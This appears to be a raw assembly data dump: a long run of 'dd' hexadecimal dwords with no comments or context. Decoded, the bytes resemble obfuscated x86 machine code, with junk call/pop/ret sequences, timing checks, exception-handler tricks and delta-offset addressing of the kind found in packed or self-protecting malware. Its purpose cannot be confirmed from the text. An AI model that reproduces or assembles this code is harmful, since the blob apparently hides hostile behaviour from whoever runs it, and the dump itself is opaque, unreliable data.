		dd 28EDEDD0h, 46A49D76h, 0E168DD23h, 0F00C083h,	189h, 0D03BFC00h
		dd 16830Fh, 95890000h, 61421B9h, 33E9h,	5296BF00h, 0BD894E45h
		dd 61403B1h, 2A058D8Bh,	0E1830614h, 19840F01h, 0FC000000h
		dd 2A05A583h, 1FE0614h,	14033D95h, 0B9958906h, 0E906141Ah
		dd 0
		dd 450B58Dh, 8C0F0618h,	6, 724FEB81h, 6A3C31h, 1C39BD01h
		dd 9D890614h, 6141BB9h,	116995FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 4F5B9EC3h
		dd 0B70FD769h, 7EAB9FBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 83CA23C3h, 8C0FFCE1h
		dd 3, 0FCD98B66h, 0B8h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0E36325A5h, 0B3D3F837h
		dd 0D22BFAF0h, 2E15BD8Bh, 33AD0614h, 3E8D1C2h, 4E983D0h
		dd 880FF475h, 1, 50006AF5h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F5E9104h, 58Dh, 7DAFBB00h
		dd 81662825h, 0D49B3EBh, 88h, 1FF19509h, 958B0614h, 6143229h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 12C35242h
		dd 53639528h, 0BB34373Fh, 697611F3h, 64D8D8Bh, 0BF0F0614h
		dd 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh
		dd 788h, 1870F00h, 0F5000000h, 1A219D23h, 6A0614h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 724C33C3h, 69122ECAh, 3C381BCh, 8343CB59h, 1429ADBDh
		dd 840F0006h, 3Bh, 2229BD89h, 9D8B0614h, 6142D61h, 0B8h
		dd 11E900h, 0D3750000h,	0B526433Eh, 774C86CEh, 0D8CC0F20h
		dd 8DC0D843h, 144D798Dh, 0CD8D8906h, 0FF061423h, 0B1BD09E1h
		dd 83061416h, 142671BDh, 840F0006h, 41Eh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0BEC35646h, 0B765B8BAh
		dd 71BD83CCh, 1061426h,	40B840Fh, 0FE80000h, 3B000000h
		dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 8D895397h, 61414B1h
		dd 71BD835Fh, 3061426h,	3AD860Fh, 800F0000h, 5,	3CCB8166h
		dd 6A60AFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0CF808DC3h, 0C99D8919h, 66061415h, 6AD98Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 107FE7C3h, 80FE8B66h, 0C90A04E1h, 0C2840Fh, 0FE8B0000h
		dd 1969858Bh, 0FA8B0614h, 1B818533h, 0F7800614h, 0DA8B50C9h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 2132C357h, 780E3568h, 89006A3Eh
		dd 141B2DBDh, 4E806h, 3FF0000h,	81B7001Fh, 0E8BF6650h
		dd 24448B56h, 0CE904h, 0F3B10000h, 0E2099767h, 28A5663Ah
		dd 8B227Eh, 66525053h, 0F9E00BFh, 747CBF31h, 585A6E0Dh
		dd 2444895Bh, 0F525004h, 0F311BB31h, 585A7C77h,	0AD95FF58h
		dd 31061409h, 14224DB5h, 98858906h, 0E90617AAh,	21Ah, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 6A436231h
		dd 0AA90858Bh, 6A0617h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 68B72CC3h, 9FBB7D7Bh, 0C76EC035h
		dd 1800h, 13E95100h, 0E0000000h, 0C074CB6h, 0A008D39Fh
		dd 6C3AD078h, 97D7163Fh, 8B5F2EB9h, 17AA94B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B983AF72h, 0FE8BD6C2h, 0B29858Bh, 11E90614h, 0F0000000h
		dd 0F42E14FDh, 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 6A0689h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 64A48BC3h, 0C06F4194h, 0B30BCB95h, 69858BE1h, 6A061419h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 11B5C355h, 8EF0C7F3h, 0C9DE27C3h,	2E49BD8Bh
		dd 0E8600614h, 0Ah, 44331D16h, 645BFDE1h, 0B58B33DDh, 6142FADh
		dd 0A5858959h, 6106142Fh, 50044689h, 0DE85260h,	0CD000000h
		dd 1AA3FF59h, 0FD3F469h, 2C5B4539h, 52505958h, 310F6160h
		dd 310F5250h, 585A585Ah, 24348961h, 0B5FFA8B3h,	617AA90h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A3C35242h
		dd 602A6DDEh, 6890Fh, 95890000h, 61405C1h, 82008ABFh, 6B686128h
		dd 66EEBE25h, 481DE8Bh,	60DE9424h, 858DF811h, 617AA98h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 37C35747h
		dd 889955D6h, 8B6650C9h, 0E9505FD8h, 0Dh, 6FAD327Eh, 4DB56F9Ch
		dd 36F52603h, 24048978h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0F7C35646h, 477EC701h, 9D035227h, 614151Dh
		dd 5B1BD89h, 95FF0614h,	61409ADh, 1655BD8Bh, 1610614h
		dd 142C3585h, 7185C706h, 3061426h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8F07C351h, 763D57FAh, 0FB658A58h, 3141BD23h,	0BD830614h
		dd 617AA98h, 48840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ECE1C352h
		dd 110B099Eh, 3BE99409h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1A15C353h
		dd 5028B3EBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 5FF8B3C3h, 813DD8F6h, 8906E11Fh
		dd 1429B9B5h, 0BE806h, 0E3E80000h, 5429C2AAh, 5BC791Dh
		dd 14E958h, 0B8030000h,	4DC579B4h, 0F9AAC813h, 740C2E5Ch
		dd 94CBC005h, 835F1E3Eh, 142671BDh, 850F0306h, 4E5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h, 526A9B44h
		dd 54A652B5h, 98BD83F0h, 617AAh, 4B3840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E1A35CC3h, 0EC076C22h, 0B5FF8844h, 617AA98h, 2AF595FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 0E53698C3h, 9F4D9940h, 0B58BFCEAh, 617AA8Ch
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h
		dd 0EEFCB37Fh, 0E83848BAh, 14h,	9E6ACF88h, 8D46E6BFh, 70D8532Eh
		dd 6E81CA67h, 0AD2A1D37h, 0C75BF88Bh, 1000106h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 592AC196h, 58CAAC9Eh, 92D78166h, 12E95084h, 41000000h
		dd 4922AC36h, 0E7B13378h, 0AC2C6962h, 98037F50h, 24348968h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D5C35343h
		dd 71CAB74Eh, 0F95B531h, 9D8B0614h, 614114Dh, 0AA98B5FFh
		dd 9D8B0617h, 6140EA1h,	0B3195FFh, 6A0614h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F215C8C3h
		dd 0FC57B3C8h, 9E8h
		dd 326BF100h, 0E7D04F8h, 0B70F7230h, 0B5895BF9h, 6142071h
		dd 0AA8CB58Bh, 6A0617h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 440032C3h, 21BCB5DCh, 0E95528D2h
		dd 6, 6A9B441Dh, 858BB552h, 61421D5h, 0C659D8Bh, 86890614h
		dd 0C4h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	85C35242h, 148E954h, 0FE114632h, 29958B3Fh, 0BB061432h
		dd 58928F05h, 0F04C283h, 5089DFBFh, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 633BAEA4h
		dd 0EC5E1E99h, 4BDB531h, 8B660614h, 0DF8160FAh,	13FDCB7Bh
		dd 15519D8Bh, 8D610614h, 17BE0685h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0ECB6405Ch
		dd 9B520805h, 11E8h, 0DE684400h, 5A0B5CC4h, 8EC80718h
		dd 2A894D8Bh, 0BD8B6DD1h, 6141951h, 0FBBF0F5Fh,	0B88689h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 7A5E04C3h, 6A59A6C1h, 0C82BB00h, 0B5FF7B17h
		dd 617AA98h, 178D0Fh, 12E90000h, 36000000h, 7C1E87F0h
		dd 5C865EF8h, 0DBA75CDh, 0A72F4D29h, 3995FF3Bh,	8B061409h
		dd 142B4D9Dh, 52505006h, 11E9h,	6FC4BF00h, 0BDAF8C0Dh
		dd 0D978BF10h, 9943272Eh, 310FC93Eh, 29CFBFBFh,	89585A20h
		dd 0FFF52434h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0E519CA6Fh
		dd 1A88B479h, 0FE882E0h, 5F000000h, 0DBB0ABF8h,	877E075Eh
		dd 0E5821F0Ch, 81669614h, 5FD8B4E3h, 7307E381h,	95FF3F86h
		dd 61420F5h, 28B0Fh, 0DEB30000h, 68A0Fh, 0B5890000h, 6140025h
		dd 0C21BD83h, 0F000614h, 1684h,	2CF78100h, 500AEE65h, 840Fh
		dd 34890000h, 1B50124h,	0FF061409h, 17AA98B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 1D8F0FF8h, 0E8000000h, 11h, 942BCAB1h, 0A46258DEh, 88E1491Dh
		dd 0E6B1B0A1h, 8A0F10h,	5B000000h, 2B195FFh, 85890614h
		dd 6142B69h, 5820Fh, 81660000h,	0FF9E7EDBh, 17AA98B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 7840Fh, 66560000h
		dd 34EFD781h, 0DF8B665Fh, 308195FFh, 0BD8B0614h, 6142E2Dh
		dd 9F5BD83h, 0F020614h,	6384h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 848F31CAh
		dd 9D339C24h, 6141505h,	2D01858Bh, 0D7810614h, 751B01h
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 44FFC355h, 345900FDh, 0BA606099h
		dd 0D9CA9C5h, 61CA8B61h, 244D85C7h, 614h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0EE98CC3h, 82000000h, 5F741E0Fh, 32E3F012h, 0B2A89780h
		dd 0F300E955h, 6AFFFFh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 314C37C3h, 1434F5B5h, 6AC18B06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0B84AC353h, 0B1982215h, 0FE9DEh, 30B00000h
		dd 0BE875064h, 0B240F87Eh, 3013B5BDh, 99858D41h, 8906140Fh
		dd 141429B5h, 92BB5006h, 897C0308h, 0DBBF2404h,	2942FDD3h
		dd 140E8985h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0FAEFC355h,	8166F5B7h
		dd 6ABC0FF3h, 5E858D00h, 6A0618ADh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 419EC356h
		dd 2EB18851h, 2042BB8Fh, 0C083161Eh, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B9A71D62h
		dd 74FBC781h, 8B501F37h, 240489FEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 7AC35040h, 6AE785h,	22F5BD8Bh
		dd 6A0614h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 15h,	0C2C35242h, 0D2DF80C8h,	1A7195FFh, 6A0614h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E99E98C3h, 0Eh, 0C59DB129h,	807B6D69h, 65EA7746h, 8D8D271Bh
		dd 617A8FCh, 8810Fh, 810F0000h,	2, 0D1FFFA8Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 235DBD8Bh
		dd 0BD830614h, 61412CDh, 66850F01h, 0F000000h, 1E8Bh, 12E800h
		dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h,	0CF3F5BEEh
		dd 0CACDD781h, 665B61C8h, 4C90C781h, 8D89026Ah,	6141505h
		dd 0FA8B6690h, 0BF665750h, 905BC6A2h, 0FFBBCF80h, 14093995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0C2BC00FAh, 0D8AE9FBh, 0E80000h,	5D000000h
		dd 0AD68ED81h, 0BF0F0618h, 55006AFBh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B5898447h
		dd 6142C4Dh, 9623858Dh,	66900617h, 501458BFh, 0DD9D8B90h
		dd 64061400h, 35FFh, 9D8B0000h,	6140025h, 258964h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0F2BC353h, 3694A321h, 85FFBFB9h, 614236Dh
		dd 71E38166h, 319589F1h, 6A06141Bh, 55BD8BFFh, 0FF06141Bh
		dd 141071B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0EB80EE52h, 0CEF7810Eh, 0F021317h
		dd 95FFDABFh, 6142B19h,	104E9h,	0B0F88B00h, 0F7D78100h
		dd 0E61F6259h, 2830F70h, 8B000000h, 0E98D89D9h,	0E4061418h
		dd 0E7C38171h, 3C4C1CE7h, 0DA830F61h, 81000000h, 0E194A8F7h
		dd 91BD2908h, 0F06141Ah, 0B589C8B6h, 614082Dh, 6BAh, 8BDE8B00h
		dd 0FE9C1h, 0F130000h, 0D1555E79h, 0B79A30E6h, 74153276h
		dd 4E8C1ACh, 8258589h, 0F7660614h, 0FE9E2h, 0B1320000h
		dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 81C82B24h, 0AE84DBD3h
		dd 9D18B2Dh, 1404A5B5h,	6E906h,	0BD230000h, 61412C9h, 19F5858Bh
		dd 8D310614h, 61410C5h,	0F07C083h, 0C083DEBFh, 89575000h
		dd 142131B5h, 3B5B5F06h, 11830FD0h, 89000000h, 1406A99Dh
		dd 3BE906h, 8D890000h, 61406DDh, 20B58D8Bh, 0DF8B0614h
		dd 0F01E183h, 2484h, 1DBD8900h,	83061425h, 1420B5A5h, 9529FE06h
		dd 614267Dh, 19F59589h,	95890614h, 6140431h, 0E9h, 0C5B58D00h
		dd 6A06180Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 520AC350h, 93461415h, 2DBB66A9h
		dd 80006A1Bh, 95FF8FF3h, 6141169h, 0C13CD781h, 9DB94FDCh
		dd 66000007h, 83C117BBh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0D4BF5CC3h, 56006AFCh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 3844C0Dh, 71EF014Fh,	0FE92902h
		dd 20000000h, 27882F8h,	0BE291C2Ah, 131F23A8h, 0C02BB8C2h
		dd 0C8E0Fh, 8E0F0000h, 6, 223DB531h, 0D22B0614h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 68C35646h, 843EDA00h
		dd 3F282C25h, 0BBD9D03h, 33AD0614h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8B33C3h, 61406D1h, 51006AFCh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0EB93C8D2h
		dd 4C69C26Ah, 0CA99D8Bh, 880D0614h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 351FC356h, 9915E92Bh, 958B60C8h, 6143229h, 0C2816660h
		dd 958B6819h, 6141FD9h,	4D8D8B61h, 6A061406h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 5177C356h, 0BD2B4266h, 6142B39h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 19F172C3h, 0F2F04F2h
		dd 89h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh,	24448104h
		dd 1C04h, 0C3534300h, 123D9BCDh, 4D909296h, 0ADBD8330h
		dd 61429h, 52840Fh, 810F0000h, 5, 0F5C38166h, 0B857h, 12E80000h
		dd 72000000h, 0E1DD7211h, 40F79554h, 37539BFBh,	4023FB68h
		dd 14E9F7h, 5DEA0000h, 0D27D8018h, 71F4976Ch, 5D557219h
		dd 1E191569h, 8D5F22DEh, 144D798Dh, 0D98B6606h,	0BD8BE1FFh
		dd 6140F6Dh, 2671BD83h,	0F000614h, 43A84h, 0D1BD8B00h
		dd 6606140Ah, 0BD83FE8Bh, 6142671h, 3F840F01h, 8B000004h
		dd 143511BDh, 71BD8306h, 3061426h, 3F6860Fh, 9600000h
		dd 140D69BDh, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0F6C35040h, 8B74A1A4h, 142F359Dh, 9E806h
		dd 0D6A60000h, 15DE1B36h, 818240A8h, 0FCEE70CBh, 0E1805F1Fh
		dd 0A5BD0904h, 0E8061404h, 11h,	99996497h, 0A1667E84h
		dd 423D4B26h, 0A9B39A64h, 4D8D8934h, 5B061419h,	840FC90Ah
		dd 1ADh, 2820Fh, 0F98A0000h, 8BF98B66h,	14196985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B6BE9h, 6142395h, 1B818533h, 6A0614h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 81607EC3h
		dd 4959B2F0h, 0CA8B661Fh, 0BF665061h, 4898262h,	319D8B24h
		dd 6606141Bh, 6ABB39BBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0BC75B7AFh, 60ADBB61h
		dd 313D2FBAh, 39952915h, 6106142Bh, 0AD958960h,	0F06141Bh
		dd 686h, 5D950900h, 6106141Ch, 4E8h, 1F03FF00h,	12E900h
		dd 0BA890000h, 6D6A3C29h, 7456B53Eh, 3D422C97h,	2A5613F3h
		dd 5E950h, 2F370000h, 8B221981h, 0B3042444h, 60008B63h
		dd 0D2C158BEh, 44896113h, 8E80424h, 29000000h, 47BD643Bh
		dd 0F72737Ch, 1585h, 10E900h, 74660000h, 6AAD0FE7h, 10238B74h
		dd 0E3146025h, 585FCE36h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0E3C35242h, 0DBC0F5E0h, 6C26C781h, 95FF2BC1h
		dd 61409ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	9C35343h, 708398B4h, 39BD8B78h,	8906142Ch, 17AA9885h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89E4F1F7h, 1422119Dh, 0CDB50906h, 0E9061415h
		dd 15Bh, 0DE38166h, 90858B68h, 520617AAh, 0C75BFB8Bh, 1800h
		dd 0B58BF900h, 617AA94h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 83C35343h, 0A6E1BFCFh, 669860F9h, 0AAB3FB8Bh
		dd 0B29858Bh, 0DB800614h, 8B06894Bh, 14196985h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 6ABF724Bh, 710C21AEh, 0BE8h,	98AC3400h, 0E40B160Bh
		dd 0C35D777Fh, 82DBD0Bh, 895B0614h, 141ACD85h, 4468906h
		dd 1FB58D89h, 60960614h, 6E9h, 0A64EC200h, 8ACF9A58h, 525061C6h
		dd 0AE9965Bh, 0AD000000h, 1B16548h, 1A41F9F9h, 90B5FF7Fh
		dd 810617AAh, 0D27C82D7h, 0EEA56808h, 8C0F240Ah, 2, 34815F52h
		dd 15ED5A24h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BF66C871h, 858DE93Dh, 617AA98h
		dd 8499D0Bh, 0E8500614h, 10h, 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h
		dd 0F59ABE0Bh, 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 41C35141h, 5482FC27h,	74C7E73Ch, 31A59D09h
		dd 95FF0614h, 61409ADh,	61FABF0Fh, 14E9h, 55BE4C00h, 0C0392031h
		dd 592E337Fh, 5C4A969Ah, 0BAF70FD1h, 7185C797h,	3061426h
		dd 60000000h, 13E9F78Bh, 5A000000h, 0C70C6F1Dh,	94D5E003h
		dd 0FC61D750h, 67F2DB4h, 8361087Dh, 17AA98BDh, 840F0006h
		dd 34h,	48E9D98Bh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 76C8C353h, 1CAC387Dh
		dd 68C0Fh, 95890000h, 6143529h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 89C08B00h, 1409A9B5h, 68B0F06h, 9000000h
		dd 1425BD95h, 9BBB6606h, 83FA8BFFh, 142671BDh, 850F0306h
		dd 460h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 14h,	92C35242h, 0AA98BD83h, 0F000617h, 43784h, 42D38000h
		dd 0AA98B5FFh, 6A0617h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0C6106EC3h, 0C61B531h, 95FF0614h
		dd 6142AF5h, 8BF98B66h,	17AA8CB5h, 19952906h, 0C706140Eh
		dd 1000106h, 50006A00h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 722D798Ch, 96F83401h, 0FE8B5250h
		dd 0BF52310Fh, 0FD51096h, 50585A5Fh, 96DA8B66h,	10E9h
		dd 363D9700h, 918A7CB0h, 4206BAA4h, 18B4899Fh, 98B5FF51h
		dd 6A0617AAh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0F547C357h, 0FFB3A19Dh, 140B3195h
		dd 55BD8B06h, 0E8061431h, 0Eh, 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh
		dd 12E9F55Ch, 0E9000000h, 5C4285A7h, 0C34120E9h, 0D0CD99C0h
		dd 9842A979h, 0B58B5BD1h, 617AA8Ch, 90CF8166h, 0D5858B3Dh
		dd 81061421h, 762C3AD7h, 0C486897Ch, 89000000h,	140FA59Dh
		dd 29958B06h, 6A061432h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0B211C356h,	8360CA64h
		dd 17FDD78h, 140E29BDh,	0DE806h, 0D9C80000h, 0A076B55Eh
		dd 8CE38AA6h, 890396A5h, 1409A99Dh, 0C2835B06h,	57006A04h
		dd 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 2E4C2F0Ch, 5EC6687Ch, 50890B04h, 52006A20h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 92A6B875h
		dd 0E9F88B66h, 0Eh, 330D7494h, 5BB98AB4h, 9284FDE0h, 858D14A6h
		dd 617BE06h, 8689F98Ah,	0B8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 3BC35343h, 78AAB1ACh, 8B70EF9Ah
		dd 142621BDh, 6A006A06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 1C7DC351h, 60189CEAh
		dd 0B866FE8Bh, 0FF61B7E4h, 17AA98B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 8E0F12h, 89000000h, 141371B5h, 3995FF06h, 8B061409h
		dd 140BFDBDh, 2C4BB06h,	60963C3Ah, 0B9B25250h, 5250310Fh
		dd 585A310Fh, 5061585Ah, 7E85250h, 0B9000000h, 90C5CA93h
		dd 8F0F36C6h, 0
		dd 8B310F5Fh, 96585ADFh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0CC35747h, 9368411h, 140D4D85h, 98B5FF06h
		dd 6A0617AAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 2E1AC351h, 8B64F9E2h, 0F595FFB3h
		dd 6A061420h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0FCDAC356h, 728BC547h,	0D4F780FFh
		dd 0C21BD83h, 0F000614h, 5284h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 8EAE41C5h
		dd 14592091h, 10E9BD89h, 8B500614h, 243489DAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0CAC35545h, 8A9C1CCFh
		dd 0FF22B8B1h, 17AA98B5h, 0FFFA8B06h, 1402B195h, 39852906h
		dd 0FF061410h, 17AA98B5h, 0AAE78106h, 0E87260BEh, 0Ah
		dd 878DE953h, 0FB143895h, 81662F3Fh, 5BBB39DFh,	308195FFh
		dd 7E80614h, 23000000h,	0CFC68B29h, 0BF66FD58h,	835F4644h
		dd 1409F5BDh, 840F0206h, 72h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 10C35646h, 3067C673h, 521BEA15h
		dd 3DF80DCh, 0BD958960h, 8B061415h, 142D19B5h, 858B6106h
		dd 6142D01h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	38C35141h, 5BD92F9Fh, 8BBBFF40h, 8B40FE19h, 1406C99Dh
		dd 0C606h, 24F59D29h, 85C70614h, 614244Dh, 0
		dd 0FFF356E9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 0C37D23A6h, 0B69BD89h
		dd 0C18B0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	0D4C35646h, 53115DCDh, 4319D8Bh, 0BF5B0614h, 54F2E868h
		dd 0F99858Dh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0C89027C3h, 65DF81A1h, 502AFB99h
		dd 0B820Fh, 52500000h, 0FD88B66h, 5A616031h, 24048958h
		dd 68A0Fh, 9D8B0000h, 6140D55h,	6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0AD8297C3h
		dd 53A3867Fh, 9D8B006Ah, 61413F5h, 0BCCA858Dh, 6A0618h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 76641EC3h, 895A55F1h, 14209185h, 5C08306h, 0DDF38166h
		dd 90B39009h, 6E950h, 3D0000h, 0C3B78D99h, 819D8990h, 6A06142Eh
		dd 5FBB6600h, 6A006A2Bh, 3E85500h, 20000000h, 895DC35Dh
